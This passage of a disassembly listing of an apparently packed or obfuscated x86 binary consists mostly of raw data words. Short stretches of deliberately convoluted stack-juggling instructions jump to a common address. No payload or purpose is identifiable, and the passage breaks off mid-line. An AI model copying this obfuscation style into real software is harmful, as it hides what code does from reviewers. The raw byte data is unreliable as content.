95EEC3E6h dd 358829BAh, 9500848Ah, 4A000000h, 788F492Bh, 0BE765F39h dd 0BAA0EEC3h, 2F358829h, 47FFE4E2h, 0A45E4442h, 4BCA19Fh dd 0FA578CFFh, 977190B7h, 0FDF4F9B3h, 0DB2D82F7h, 904F38F9h dd 9B46F1A9h, 13CDAF81h, 127FAB0Eh, 0AAD54C95h, 0DBC4BEC4h dd 3E201E23h, 9B817F84h, 0F5AADCE1h, 0E4455598h, 29E5318Fh dd 5F2E5434h, 78000000h, 788F492Bh, 0FE03BB9Eh, 51B40107h dd 0BA2D9025h, 0E294CB11h, 443E44FEh, 72A4A961h, 0D7B160BDh dd 8F492FEEh, 0B68FDFE4h, 0CCD4C00Bh, 302A30DBh, 807A944Eh dd 878C442Bh, 0BAA16E40h, 90482D29h, 99AA8D8Bh, 38E157Ch dd 0E6EB963Eh, 236EC3F0h, 1674C9FAh, 5434ADE8h, 103h, 462B4D00h dd 0A58B898Eh, 0FFE8E6EBh, 5E444247h, 0B86D9FA4h, 416E185Bh dd 0FDB59AECh, 6E280CE6h, 36DA0668h, 0A7520CF2h, 9FFD6D90h dd 20732E5Ah, 7D371D1Bh, 0F1AB9163h, 0A00AA5ECh, 0C26121DAh dd 3047FFE8h, 0DA9FA40Dh, 8187DA21h, 7F65B70Ch, 0F3D9ABC5h dd 50363439h, 0E0299196h, 99533983h, 0EB65A17Fh, 0A8E53D4h dd 0D8000001h, 45844FD1h, 0BAA08F22h, 9994E729h, 29BAA118h dd 631B045Eh, 11BC675Eh, 86FFD7FAh, 26792E5Ah, 833D2321h dd 0F7B19769h, 0FB0EF4F2h, 0AACE91E0h, 7B331625h, 222025D0h dd 817F843Eh, 0B2DEE39Dh, 654A9CF1h, 6B1A8ADh, 0FA4CA1EAh dd 62405A14h, 53D4B724h, 444Fh, 77305C00h, 0C4BDC154h dd 0C6DE0006h, 4D5109ECh, 0C36AE8D0h, 0EC40465Eh, 0CEF10825h dd 56454703h, 0DC23287Bh, 0A9BAB8D5h, 0D67AD798h, 0B0D3EA4Bh dd 0D6457621h, 0F6BBDE9Dh, 8029BA89h, 6668822Dh, 6Dh, 0F04FD1FCh dd 0D16E9AD9h, 1493EBADh, 0EFABEEF4h, 492E59E0h, 0DF3F1F6h dd 81673953h, 517BC2C7h, 0B821D9E1h, 765CAE03h, 916BA2BCh dd 9BEFF5AFh, 7C9FB675h, 267CE603h, 0BDBBC013h, 238EB1D7h dd 5B29B2DAh, 7465D08h, 0B2D9CDE4h, 2DE5CE29h, 75A3128h dd 91BEB401h, 0A380903Ch, 0DF16698Ch, 0D1242E55h, 0C2A680B7h dd 60C0308h, 0F04FD1E4h, 385B9AD9h, 29BAA079h, 0A10FA2C5h dd 146729BAh, 59E6EA3Dh, 86521304h, 37CBFC5h, 132E5D4Bh dd 181DD7B9h, 73717621h, 0E7B9D38Dh, 0FB424701h, 326274EDh dd 0EDF2AC90h, 494E06EFh, 0F83B98E1h, 90479CD1h, 74832E51h dd 0A8FB15A6h, 535911F6h, 9FB97359h, 282DE7CDh, 8489412Ah dd 0BA0C618Eh, 2E001AD4h, 5B898E48h, 1Ch, 3AF4DAB4h, 16383E35h dd 0C7EA2924h, 29BAA0EAh, 0FFB2D594h, 7729BAA0h, 51737924h dd 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h, 308C2A4h dd 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h, 5D54556Dh dd 4C581h, 0ED830000h, 242C8704h, 4EC835Ch, 68240489h dd 1074h, 52243C89h, 0E70743BAh, 2C815207h, 0B0500024h dd 55864h, 5A64B050h, 243C8B54h, 5304C483h, 8BBh, 0F8EB8100h dd 106695Dh, 0F8C381FBh, 8906695Dh, 3C8B5B03h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 5024048Bh, 405E089h, 83000000h dd 48704C0h, 0A8E95C24h, 26FFF974h, 0E70BB9B8h, 0FFC50307h dd 0BAD339E0h, 0B13D7950h, 0DBD4D07Bh, 0BADC751Ah, 0ED176F46h dd 0AE123400h, 15124767h, 0A1E34D6Ah, 6A8D8D1Bh, 63E3235Dh dd 0E7B0725Fh, 88286762h, 0A1323C41h, 0CE5883Ah, 1C63B260h dd 6FAF522h, 0A7E21A25h, 0EC8CCB40h, 627CC621h, 3EC40F21h dd 2CE932h, 86C60000h, 77Bh, 9 dup(0) dd 5CE90000h, 0EE000005h, 60324C06h, 0D5A7C179h, 4C1E38F0h dd 0BF91AB63h, 0B40923DDh, 7A34160Bh, 0F0AA8E60h, 692104D6h dd 0DD977D4Fh, 0D5F8E3C3h, 21D394DCh, 0C69630A2h, 4B500AECh dd 6E544E54h, 0CFB1AFB4h, 4329FB15h, 0F7DE9D82h, 988F943Fh dd 0A1535E81h, 0D82B29BAh, 99C5282Dh, 0F9F4D7CAh, 324BC719h dd 0D03D585Ch, 0CD40A14Bh, 41ECD49Bh, 0EFF4AC8Fh, 12F8F2F8h dd 6E555358h, 0CEB3B1B6h, 2C131116h, 8E716F74h, 0B3DAD1D6h dd 0B7DE217Eh, 20DABE98h, 0A91E241Bh, 621C0254h, 53371148h dd 999D9499h, 0A4F2F5C8h, 0DFD9DFB6h, 582A44FCh, 0BAB8BD75h dd 21171CD6h, 0EE89FF4h, 0CC866827h, 2025D0C7h, 6C768D0h dd 0D984D201h, 37F6D9D3h, 9A91964Eh, 1D03D5EFh, 21FB5E63h dd 3D80863Eh, 29BA7B71h, 0D12F84B5h, 5434CC95h, 77BEh dd 452B0800h, 703F868Bh, 0B429BAA1h, 92D02E83h, 0BD5434EAh dd 1, 85442B07h, 3A3FEAA2h, 314FDD7h, 5BAC85B2h, 8D933EC2h dd 0EFF4AC93h, 1AFB608Ch, 0A4252395h, 4F540EF2h, 6F585258h dd 203FB2B7h, 0BCA36446h, 5D545904h, 40AC2ABh, 1E8328Fh dd 0CCF82F49h, 2FE2B04Ch, 80A3BAC7h, 29BA9731h, 0FAF4FA4Dh dd 69435A14h, 22DCC283h, 767B261Dh, 1D17797Fh, 8A8F492Bh dd 5E81A58Ch, 29BAA153h, 282DD82Bh, 0D01A77C0h, 481A34EEh dd 40A3A862h, 0C3C98166h, 4025E4C9h, 7CD8DD88h, 2A68C61Bh dd 655434E8h, 95h, 0A1103372h, 0B029BA96h, 0B4F31945h dd 0A9FCD3F2h, 417909A5h, 1F25CA92h, 8ECC6FDh, 4C52494Eh dd 0B1B67052h, 0FF16CEB3h, 83894325h, 318EC336h, 4F2F5682h dd 84DC0359h, 2C31E9D2h, 53352F35h, 0CBAD7F99h, 250E0C11h dd 0C10C686Dh, 4046FEE7h, 0FA1876CBh, 3A5434FCh, 0B228B80Eh dd 3249F15Eh, 0BA1EA20Fh, 8389DC29h, 46FFh, 492B4900h dd 0A98C8A8Fh, 5BAECF1h, 0BB7C5EA8h, 20171CD4h, 0E5245B75h dd 0A12E83A6h, 0F54829BAh, 0BAA0B7FAh, 666CBF29h, 3ECC644h dd 494F464Bh, 0ABB0684Fh, 0BAA14A64h, 54A9DA29h, 34EAC8F6h dd 1E354h, 2B2D0000h, 8B898E46h, 0F0E6EBA5h, 371C6EC3h dd 0FC3C687Fh, 2A8952D7h, 78A4060Ch, 51748BA8h, 2E59E219h dd 0F9F7FC4Fh, 0B56D5213h, 0F40EB9B0h, 7D823C22h, 0D9E17936h dd 89412621h, 0DFA08684h, 8E933EF6h, 0FF5AD90h, 0D4BA055Ah dd 9278C21Fh, 432AEBD1h, 0E48F868Bh, 0C0E32239h, 21D9E1F1h dd 0D2343A8Dh, 49601A00h, 0E1CAE70Ah, 61B421D9h, 2A100E5Bh dd 0BA036B70h, 4682AE65h, 0CB1F68E7h, 0BCA29CA2h, 2E11EB02h dd 25DDC476h, 0C1232920h, 0D4D9A7E3h, 361BF553h, 5EF4787Eh dd 1000001h, 9E0AE4D5h, 80C4999h, 58ED4FC3h, 83A5ABA1h dd 0DE109AC6h, 3A79103Ah, 0A8AC56E9h, 0DCC16741h, 1F737924h dd 0F81B32F1h, 2E5A7BDEh, 2000558h, 1148621Ch, 8CE6E2E5h dd 0E294B705h, 433D43FBh, 608CA35Dh, 35D6D0B8h, 14874FDDh dd 0F9D40408h, 2004D53h, 0BC745B1Ch, 2A0EC0B7h, 58C0C570h dd 0AA624B25h, 33A8AEA5h, 0ECA68CDEh, 92B6F4D2h, 2EE153D4h dd 2B000000h, 0D8EF4ED1h, 455E1CB5h, 0F6F6A256h, 3122D033h dd 0BE050AB5h, 0A9BAD6F3h, 0C06CC182h, 9ABDD451h, 0D6459437h dd 50526CBFh, 0B9h, 0E94FD1E6h, 0A7614302h, 5500F7FCh dd 0A47F1B3Eh, 0A6F92E5Ah, 17D1B58Fh, 0C8151B12h, 132AE4CAh dd 0E7995339h, 0E0424800h, 576E280Eh, 0D6DC947Dh, 694C2689h dd 0AFB5ACB1h, 0DA9D606Ch, 0BD12C721h, 3B72856Bh, 0E4DF055Fh dd 6F9BB560h, 2C6B82A1h, 0DA73A809h, 757BCE21h, 802CF316h dd 0D72A267Dh, 34EED4D2h, 0F6BBDE1Dh, 8029B37Fh, 0E4DA272Dh dd 4B0AF3CDh, 0FE03AE66h, 8039789Bh, 0F24529B3h, 77CC4147h dd 0C3A781C0h, 120D0409h, 29B37F9Fh, 0B69784AAh, 7A51DC4Eh dd 0D5803A20h, 96957BCFh, 88C35C7Fh, 79532E56h, 72D5DA92h dd 0DA78624Fh, 1EC91C21h, 8CA6F918h, 0F04FD192h, 0AD69B6D9h dd 9EF12E5Dh, 0FBB59B99h, 6F290FE1h, 28FC236Ah, 0F52A213Fh dd 0AE684E98h, 22DCC294h, 0FCE0BA1Dh, 8FEB3D6h, 2578223Fh dd 787E757Ah, 0D8DD957Eh, 0E58B5E2h, 82546E28h, 0AFDDE29Ch dd 19h, 394C2E08h, 5390FFBEh, 151BC617h, 4F2924F3h, 0CC6A869h dd 5F651007h, 89432B3Dh, 0E6A08684h, 4800E3E1h, 0A7614543h dd 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h dd 89516D7Eh, 4C181E1h, 53000000h, 4BBh, 5BD92900h, 5C240C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push eax mov eax, 21EF53ECh xchg eax, ecx inc ecx xchg eax, ecx add eax, 0E5F7B8D6h mov edi, eax pop eax push esp mov ecx, [esp] add esp, 4 push ebx mov ebx, 8 sub ebx, 77BA17D4h add ebx, ecx add ebx, 77BA17D4h mov [ebx], edi pop ebx push dword ptr [esp] pop ecx add esp, 4 mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_554887 ; --------------------------------------------------------------------------- dw 8E3Dh dd 0B8D82A26h, 7E7118Ah, 0E0FFC503h, 55CFA37Ch, 6104311Ch dd 633DB6BBh, 7E2CD45Eh, 12BEF467h, 1CFA1618h, 16020B8Ah dd 190AB225h, 1F085AD2h, 1C534B24h, 16F33712h, 15E9h, 26EF1100h dd 23h, 3 dup(0) dd 22E90000h, 9E000005h, 10E2FCB6h, 85577129h, 0FCCEE8A0h dd 6F415B13h, 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h, 19D1B486h dd 8D472DFFh, 85A89373h, 21D38F2Ch, 0CA09E052h, 0D38F0AA7h dd 351A7421h, 0D681787Dh, 452BAED0h, 0A688868Bh, 1A00D2ECh dd 775D5B60h, 4467A6BDh, 29BAA16Dh, 63B0B609h, 0C1C67E65h dd 72C4194Eh, 0E1BBD28Ch, 453C41FBh, 280BDD3Fh, 0AF2A9717h dd 0BBA2F2E6h, 5C07FE03h, 0E2C597B1h, 8128EAD1h, 0BA71535Eh dd 0D4D82B29h, 17C20DC7h, 8A442600h, 0FAD43784h, 635A5F17h dd 6C7F635Dh, 0D9162028h, 9CA14C47h, 0D22479A6h, 934B30EFh dd 16FCCEE8h, 0C8F4575Ch, 0AD7D55D3h, 0A5E8EEACh, 29B9AE09h dd 3997EC1Dh, 5434190Dh, 0A52F1F4Bh, 0FE93E957h, 5B74F8h dd 2BBE0000h, 23868B45h, 0C47754F7h, 262024DEh, 60A3A96Ah dd 29B9E64Fh, 0F14FA4D5h, 543451B5h, 1DEh, 442B2800h, 0A289878Ch dd 0FEE7E5EAh, 99CE4146h, 0FA0BF244h, 1211D23Fh, 4B6E85F7h dd 29BA3466h, 0F812BD10h, 6F864026h, 9F7FAF43h, 650284D4h dd 0AE9CA078h, 0B11319A9h, 8F492BB7h, 0EDA58C8Ah, 601AFCD6h dd 115E645Bh, 0B90360A9h, 772F16D7h, 0FAE0B2CCh, 0FED83B40h dd 655C6119h, 0C880655Fh, 624F72B1h, 0EF29BAA1h, 0E0258009h dd 398C637Bh, 298AE633h, 285876D4h, 52735434h, 0BD000000h dd 8A8F492Bh, 0EAEFA78Ch, 36ED4277h, 7C38720Ah, 5B611ED6h dd 0ABC57F61h, 383DF7D9h, 9499513Ah, 247AD738h, 54340BF6h dd 5021h, 492B6B00h, 0A98C8A8Fh, 5BAECF1h, 697C5EA8h, 856B7211h dd 0CBCFC6CBh, 7E828615h, 82E938FFh, 405A0520h, 8C442B46h dd 0A16E4087h, 85B629BAh, 0EA94D228h, 16BF5434h, 0CC000000h dd 862B4E8Dh, 0F029BA94h, 950FA29Dh, 0D6729BAh, 0C0C6712Bh dd 8E462B9Eh, 0EBA58B89h, 6EC3F0E6h, 0F013371Ch, 29BAA0C1h dd 0A5BF6ABDh, 0A50C2F6Eh, 0D129BAA0h, 0FC24787Eh, 0BDE9283Fh dd 0CA50BFE6h, 1AFA64FBh, 333BF9FDh, 3733767Ch, 712E5A5Eh dd 0F5FAB297h, 86D9F8FEh, 0E39D8381h, 5711F7C9h, 60A40B52h dd 0EC321DAh, 0C78167B1h, 38F2D6B0h, 2253C33h, 21DA60AFh dd 0C6E74C7h, 5C14FBD5h, 605A6057h, 9431677Ah, 0FED7FD5Dh dd 6A504E53h, 0C8ADABB0h, 2B0D0B10h, 7F406C71h, 90C3DF22h dd 161BD3B6h, 4FA4191Fh, 435D17FDh, 0D4E33965h, 1315253h dd 855F0000h, 0BFE1E7A1h, 0D9F04FD1h, 735A1BFFh, 14BFB6BBh dd 4470AF0Eh, 59345E0Ah, 9A523953h, 30A6E9EFh, 862E59BEh dd 0DF91492Ch, 443B40F8h, 0B0969499h, 4B5008EFh, 588FA954h dd 0D9DE987Eh, 0FCE2DCE2h, 593F3D42h, 0E9329A9Fh, 0A25C4294h dd 57CAA88h, 609753D4h, 0A4000000h, 292EE8CAh, 0B9F81B32h dd 0C521D9A5h, 0D14A6C72h, 99D8EF4Eh, 0BAA13B76h, 0EAF04329h dd 5E69688Bh, 82D55645h, 0F2AA916Bh, 59589FECh, 1CA9BAA2h dd 0A20F3271h, 0DCA9BAA1h, 0B10E8389h, 8D452802h, 378B9188h dd 13364DE8h, 0D6455EBEh, 793A1EF8h, 2E33DE96h, 0BF123137h dd 79A3A5h, 0D1390000h, 0B6D9F04Fh, 2E5AA4E4h, 9F02075Ah dd 97BADEC5h, 21DA9D1Ah, 61661164h, 0C625A411h, 0CF7AFD27h dd 2FE9CFC9h, 0A35D4315h, 1B75579Eh, 27DC21DAh, 0E09A80CAh dd 41638FC6h, 5F35FDFEh, 0F41C7076h, 8D924C30h, 95D4EB96h dd 8A0BA069h, 465D9CFAh, 0D9BB8E23h, 8F95E821h, 7CCE1A4Ch dd 1E025C26h, 0B6B4B964h, 1B1116D0h, 23ED91EEh, 9CCAED04h dd 0DA2E55BBh, 0D1736D87h, 9AD9F04Fh, 0E098815Bh, 0C8E9E4DBh dd 0AE29BAA0h, 9B46E54h, 0B2A6C003h, 0C6A02E5Dh, 22127DFh dd 0AEE8E56h, 0C686C26h, 1C53A78h, 137C8C77h, 7AA6BD68h dd 5EBDEB93h, 0E5B618Fh, 56702A10h, 0DFE49E84h, 93854C98h dd 0B00D4205h, 0ACC68066h, 4D33F4DAh, 0F7D1E893h, 5D545913h dd 0CDA70A57h, 2E282EE6h, 9C768D45h, 2F9FEB8h, 8CB9AFFCh dd 0FA548037h, 0B8CE84D2h, 36965559h, 1F9868B0h, 13391F19h dd 9491C1F0h, 4600E206h, 20734A41h, 0A3895B75h, 3C41F9E2h dd 67959A45h, 3, 2B6624FDh, 86848943h, 0E3E1E6A0h, 45434800h dd 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh dd 6D7E833Bh, 81E68956h, 4C6h, 4EE8300h, 31243433h, 34332434h dd 6B685C24h, 89000033h, 2568243Ch, 8900001Bh, 7368242Ch dd 8B07E712h, 0C481243Ch, 4, 56468h, 24248900h, 4240481h dd 5D000000h, 287C68h, 243C8900h, 9243481h, 8F5AB55Dh dd 75810845h, 0B55D0908h, 242C8B5Ah, 81E28952h, 4C2h, 4C28100h dd 87000000h, 8B5C2414h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_554887 ; --------------------------------------------------------------------------- db 89h dd 566FA763h, 1704B8AEh, 0C50307E7h, 0ABABE0FFh, 0ADF77D03h dd 0B80627FBh, 2EA5695Fh, 808844BAh, 548546D4h, 65CD1487h dd 4844FF4h, 27622C16h, 475843FCh, 8D8D764Fh, 7E718A0h dd 304DB529h, 8D8907E0h, 7E01815h, 2631958Bh, 85C707E0h dd 7E02049h, 6B84h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0A7C35747h, 587E1EB9h, 25953102h, 0C707E033h dd 0E022C585h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 95FBFA2Bh, 52C38BD4h dd 0ADB5FFF4h, 6A07E012h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 9679C356h, 5DC0E7AFh dd 0B5896DA6h, 7E02191h, 209195FFh, 6A07E0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 68AF91C3h dd 89AF0083h, 0E026B18Dh, 0FF006A07h, 0E018A995h, 0EBC08B07h dd 13E8A61Ch, 8F1AF1F5h, 0FB8506D7h, 0B5BB096Eh, 99FF4FC1h dd 0D2D984F2h, 0B4E723F0h, 588D8D6Eh, 8907E719h, 0E0169DBDh dd 158D8907h, 6A07E018h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 1E1BC352h, 0A9B58B28h dd 0E907E026h, 0Ah, 0B0D197BFh, 16921481h, 85C7B1CCh, 7E02049h dd 598Ch, 10E9h, 0AA4FC600h, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh dd 0C585C7D7h, 7E022h, 81000000h, 508440D8h, 49B5FF3Eh dd 8907E01Eh, 0E012A595h, 9195FF07h, 0E907E020h, 5, 492BD531h dd 0FF006A17h, 0E018A995h, 0EBC08B07h, 0EA0CE0Dh, 2B5612FDh dd 0D0B60C90h, 5FE92E48h, 52000001h, 0E860D48Bh, 0 dd 78ED815Dh, 8B07E719h, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 88A8BBC8h, 0C3331A1Eh, 8904E883h dd 0E0181585h, 4588B07h, 428BF88Bh, 184A8B10h, 0B3BEC8D3h dd 33BA6EF0h, 83C72BC6h, 0E883FCE0h, 49858904h, 8B07E020h dd 85891442h, 7E022C5h, 5318428Bh, 0B0E9h, 0D5B5FF00h dd 0E907E006h, 0B9h, 0F59B5FFh, 0AEE907E0h, 0FF000000h dd 0E01B41B5h, 0A3E907h, 0B5FF0000h, 7E01BF5h, 98E9h, 0DDB5FF00h dd 0E907E020h, 8Dh, 85DB5FFh, 82E907E0h, 0FF000000h, 0E004A9B5h dd 77E907h, 0B5FF0000h, 7E02A35h, 6CE9h, 0ADB5FF00h, 0E907E012h dd 61h, 2A5DB5FFh, 56E907E0h, 0FF000000h, 0E007A1B5h, 4BE907h dd 0B5FF0000h, 7E023C5h, 40E9h, 61B5FF00h, 0E907E012h dd 35h, 1E49B5FFh, 2AE907E0h, 0FF000000h, 0E022E5B5h, 1FE907h dd 0B5FF0000h, 7E007B9h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 0E719D98Dh, 0FFC80307h, 9195FFE1h, 5B07E020h, 1815858Bh dd 583907E0h, 0F850F04h, 53000000h, 95FF016Ah, 7E018A9h dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 7E01881h, 1AC78D8Dh, 418907E7h, 0E9C38B01h, 0BAh, 7FC8DBD3h dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h dd 0CDE90000h, 68000014h, 7E71DA2h, 0F9652EE9h, 1EA168FFh dd 24E907E7h, 68FFF965h, 7E71F80h, 0F9651AE9h, 20B768FFh dd 10E907E7h, 68FFF965h, 7E72129h, 0F96506E9h, 21D068FFh dd 0FCE907E7h, 68FFF964h, 7E7228Fh, 0F964F2E9h, 233F68FFh dd 0E8E907E7h, 68FFF964h, 7E723E1h, 0F964DEE9h, 256868FFh dd 0D4E907E7h, 68FFF964h, 7E72650h, 0F964CAE9h, 27A768FFh dd 0C0E907E7h, 68FFF964h, 7E7288Eh, 0F964B6E9h, 29D168FFh dd 0ACE907E7h, 68FFF964h, 7E72B27h, 0F964A2E9h, 2D2068FFh dd 98E907E7h, 68FFF964h, 7E72E0Ah, 0F9648EE9h, 0D69078FFh dd 4B03EABCh, 0C27A5F31h, 35EDD6A8h, 0AD67491Bh, 0A0953E93h dd 18EA04BEh, 8E607A34h, 7D9F3ABh, 6D4D6721h, 85525F82h dd 0BA2C21D3h, 6487C620h, 29BAA14Dh, 2FE9CF29h, 674A6D84h dd 0F29BAA1h, 0D6BCB6BCh, 2CD9051Ch, 7BE53E29h, 436E91A8h dd 3B29B9E5h, 9795E2E8h, 0B1DDF7B1h, 998E776Fh, 309479B8h dd 0B34B6E85h, 0C52E59DCh, 87266D72h, 0B621D9D3h, 64A2F855h dd 8F53D42Bh, 4Dh, 773A5D9Ch, 2421D9CBh, 5BAE853Dh, 0ECC63355h dd 4F464B03h, 0C2BF549h, 0A020D2F5h, 97562E5Ah, 0DAA03D74h dd 0FADF3921h, 9B463D42h, 484D07E9h, 3EA1A651h, 0C1C68064h dd 2C81C4CAh, 1121DAA0h, 0C1FD53B0h, 0EA53D4EBh, 0C9h dd 8B452B34h, 0ECA68886h, 7A5884E7h, 0B98F14FEh, 341A141Ah dd 3812757Ah, 9D979D55h, 0C8E3FDB7h, 29BA250Fh, 0D5ECA68Ch dd 0E52255A9h, 979DBB0Ah, 0C37D6335h, 9B815BBEh, 0DFE5DCE1h dd 614D858Bh, 0D2A119FEh, 21607722h, 0A7AC6447h, 0BFF3ACB0h dd 0BC31CB3Dh, 34F73B6h, 76C92E5Ah, 43E0305Ch, 0E7CAED2Ch dd 8F21DA42h, 0B4D7363Ch, 2677BE9Bh, 0D7B1C81Bh, 4F213BF5h dd 0FDAB36Dh, 20E6128Ah, 12330937h, 0E5CD0000h, 583F112Bh dd 0CFB486A0h, 422BFD17h, 0BC9E708Ah, 2A93E802h, 3F5913F5h dd 0B5CF896Dh, 2E4800E3h, 0A2BC765Ch, 0FDB4D7C2h, 7921D383h dd 492B6D07h, 1639788Fh, 29BAA09Bh, 288A90E3h, 9CB67056h dd 0E94FD1A2h, 0E1444903h, 0BAA0F3BEh, 8D388B29h, 0EF1CBE2h dd 0A85A5156h, 0B0207BFh, 6F83A605h, 892E5AA0h, 0A2CE3136h dd 0E40723E0h, 21DA48CDh, 9A5256A9h, 0B4F7FD14h, 21D9BCF9h dd 308EE344h, 53D40EF2h, 0B51Dh, 6E502A00h, 0B2B8AFB4h dd 84452B90h, 3338E39Bh, 94995335h, 0BAA58A4Dh, 853F2529h dd 0F9B3996Bh, 0B7749CF4h, 0DC774A0h, 9A9F593Bh, 30D49FA3h dd 1D1D575Bh, 6E3F2529h, 0DCE60968h, 622E5A4Dh, 47C9F50Fh dd 0B0AED1E8h, 26267804h, 0E2BCD3h, 0F6FAB7DAh, 2A8429B7h dd 92898E48h, 17B2E3E7h, 869803ECh, 0DEFC1DBh, 11B57A53h dd 0E1CAE612h, 1134B3h, 2AE4CC00h, 9F573E10h, 16CEB385h dd 89412AFCh, 1BB9D6Fh, 0F42992E7h, 6C3E5812h, 0E2B4CE88h dd 5B2D47FFh, 0C1A1BB75h, 82FEB3D6h, 67821D3h, 8F492B6Ch dd 0FCBDA375h, 60575C16h, 6712CCAEh, 0ECC6534Dh, 0A8624403h dd 0FB01F8FDh, 4A611B01h, 0F00CC61Eh, 0E0E699B3h, 0F5AF9593h dd 682204DEh, 4A686C63h, 0C66404E8h, 693B9DA3h, 0DBB5CC84h dd 0EA3A3FF9h, 779EE58Ch, 494FFA37h, 5E18FEFCh, 347EFA44h dd 15384FECh, 2E5A1A51h, 987F3487h, 0D6500416h, 0F3BEE120h dd 8B394FE3h, 32DE3238h, 0D7BBDEF5h, 213DEFF7h, 0F7F2BFE2h dd 398C322Fh, 0E7ECA487h, 78CBEAF0h, 36F51B73h, 34D9FC1Fh dd 35D36CFh, 0A3BA651Fh, 3922E3C9h, 0DA857C81h, 4E08EEC0h dd 79773675h, 0B8E6CFD6h, 1055h, 0EF09C3ABh, 647E361Dh dd 0DBF5AD92h, 4E682009h, 0C6E09A7Ch, 0F1D34871h, 674B1D37h dd 0DEC193ADh, 543A0C26h, 0B5A0809Ah, 0D3821F92h, 4BE55721h dd 9B84452Bh, 0DB3338E3h, 0BCDFF635h, 2E5A83C2h, 835EA854h dd 92C10F88h, 7FA1CDE7h, 0E886A9C0h, 0E267A7Ch, 4265A4BBh dd 29BA636Fh, 61AEB407h, 0BA62931Ah, 0F449AA29h, 0EE8F113Dh dd 836DABBFh, 0B7BBD36Ch, 0D5DB8CC4h, 340E93CFh, 32BC54h dd 0C6060000h, 0E359B99Ah, 1B2102A6h, 0C3DA59C7h, 5A7935A0h dd 9277512Eh, 62B5D4DAh, 0D68E714Bh, 690EA1BCh, 0AB9121DAh dd 2205D7F1h, 0A237656Ah, 0CD00000Fh, 0D9F04FD1h, 5DBA6AB6h dd 4E71B02Eh, 21D38663h, 0A3C2C81Bh, 7B5F3950h, 825CBBC1h dd 91C8E29Ch, 0EB0F4365h, 4C525EC5h, 12596C52h, 0C8123CC8h dd 8DE5EA95h, 4E8DA483h, 0F8C5EC0Fh, 5EB121D2h, 12C01558h dd 0E3362676h, 520CF2CCh, 0D8D9FC3Bh, 0C329B9EEh, 271E23DDh dd 95F7FD50h, 8DA0845Eh, 0C888857Eh, 0AEB45F0Eh, 0F14CEB4h dd 0B3CA69B7h, 5A2CE290h, 0F0C91C2Eh, 0EDF012B7h, 1E3D6B54h dd 0E200000Fh, 542640FAh, 0C99BB56Dh, 40122CE4h, 0B3859F57h dd 0A8FD17D1h, 6E280A3Fh, 0E49E8254h, 5D15F8CAh, 0D18B7143h dd 0C9ECD7B7h, 21D380E8h, 0E2821C8Eh, 29BAA0CBh, 768DAA76h dd 5DBB6A53h, 8299EC2Eh, 0F108C2A8h, 767C3417h, 9B5C4214h dd 4B50FBB5h, 0D1B52DF3h, 1EDC5928h, 0E2051CC7h, 2672B29Ch dd 0A55D409Ah, 94FE21FAh, 0A68FE617h, 0EAC78h, 0B26C5400h dd 27DFC698h, 9E563B0Dh, 11C9B284h, 894325F7h, 7CB11A6Fh dd 0F4C6E09Ah, 6A3C5610h, 0E3B5CF87h, 492943FDh, 7F763B5Eh dd 8E0021D3h, 8B452BF4h, 0E8A28886h, 0E03D6EE3h, 0B660531h dd 2DF4BA60h, 6AE52127h, 59335434h, 0BEB5BA72h dd 6B702A0Ch, 0E4EA6E74h, 34000008h, 0D9F04FD1h, 5DBB14B6h dd 20378A2Eh, 8CA66046h, 31AD4BAh, 8710A1C4h, 0A76621D3h dd 0D3872D84h, 4BF64921h, 0FCB1F845h, 4521D386h, 6455CDBh dd 0D386CEE3h, 4F55A821h, 69B1CDF0h, 54A72673h, 16E05E7Bh dd 0DC0AF3E6h, 0E05h, 3F5913FBh, 0B4CE866Dh, 2B45FDE2h dd 9EB87059h, 1630EACCh, 412318C1h, 0B79B6D87h, 2E11E3FDh dd 0A48A5C76h, 5F0D0EAh, 0D37FCFE2h, 9B35A721h, 868B452Bh dd 0E3E8A288h, 454A02E5h, 1C3F6547h, 29BAA095h, 0DEE38EE1h dd 0A159587Bh, 0D22529BAh, 0D61976ABh, 0C9277CADh, 5434E69Dh dd 836B6h, 9AC60000h, 0D7C08E5Ch, 7E561B1Fh, 1598DBE1h dd 2129B9A2h, 0A4AA6247h, 4C63C050h, 5CBA6129h, 0D9BD972Eh dd 1D231A1Fh, 5594ABFEh, 0D5DA927Bh, 3237F1D7h, 908A903Bh dd 